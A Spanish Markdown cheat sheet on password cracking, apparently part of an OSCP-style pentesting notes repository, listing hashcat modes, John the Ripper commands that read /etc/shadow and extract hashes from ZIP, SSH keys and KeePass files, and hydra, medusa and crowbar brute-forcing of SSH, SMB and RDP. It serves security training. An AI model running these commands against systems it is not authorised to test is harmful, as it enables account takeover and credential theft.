7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
45 lines
1.4 KiB
Markdown
45 lines
1.4 KiB
Markdown
# Cracking de contraseñas
|
|
|
|
> Generar wordlists y romper hashes/credenciales offline y online. Fuente: oscp.trastero.org/passwords.
|
|
|
|
## Identificar el hash
|
|
```bash
|
|
hashid '$1$...' # o hash-identifier
|
|
```
|
|
|
|
## hashcat — los modos que importan
|
|
```
|
|
-m 0 MD5 -m 100 SHA1 -m 1000 NTLM
|
|
-m 1800 sha512crypt ($6$, /etc/shadow)
|
|
-m 5600 NetNTLMv2 (capturado con Responder → Client-side attacks)
|
|
-m 13100 Kerberoast TGS ($krb5tgs$) → Kerberoasting
|
|
-m 18200 AS-REP ($krb5asrep$) → AS-REP Roasting
|
|
-m 22000 WPA-PBKDF2 -m 13400 KeePass
|
|
```
|
|
```bash
|
|
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
|
|
```
|
|
|
|
## John the Ripper
|
|
```bash
|
|
unshadow /etc/passwd /etc/shadow > unshadowed
|
|
john --format=NT hashes.txt --wordlist=rockyou.txt
|
|
zip2john file.zip > z.hash ; rar2john ; ssh2john id_rsa ; keepass2john # extractores
|
|
john --rules --wordlist=rockyou.txt z.hash
|
|
```
|
|
|
|
## Wordlists a medida
|
|
```bash
|
|
cewl http://IP -m 6 -w custom.txt # palabras de la propia web
|
|
crunch 8 8 -t @@@@%%%% -o crunch.txt # patrones
|
|
```
|
|
|
|
## Online (servicio en vivo)
|
|
```bash
|
|
hydra -L users.txt -P rockyou.txt ssh://IP # ver Authentication attacks
|
|
medusa -h IP -u admin -P pass.txt -M smbnt
|
|
fcrackzip -u -D -p rockyou.txt secret.zip # ZIP
|
|
crowbar -b rdp -s IP/32 -u admin -C pass.txt # RDP
|
|
```
|
|
|
|
Relacionado: Authentication attacks · Kerberoasting · Pass-the-Hash · OSCP MOC
|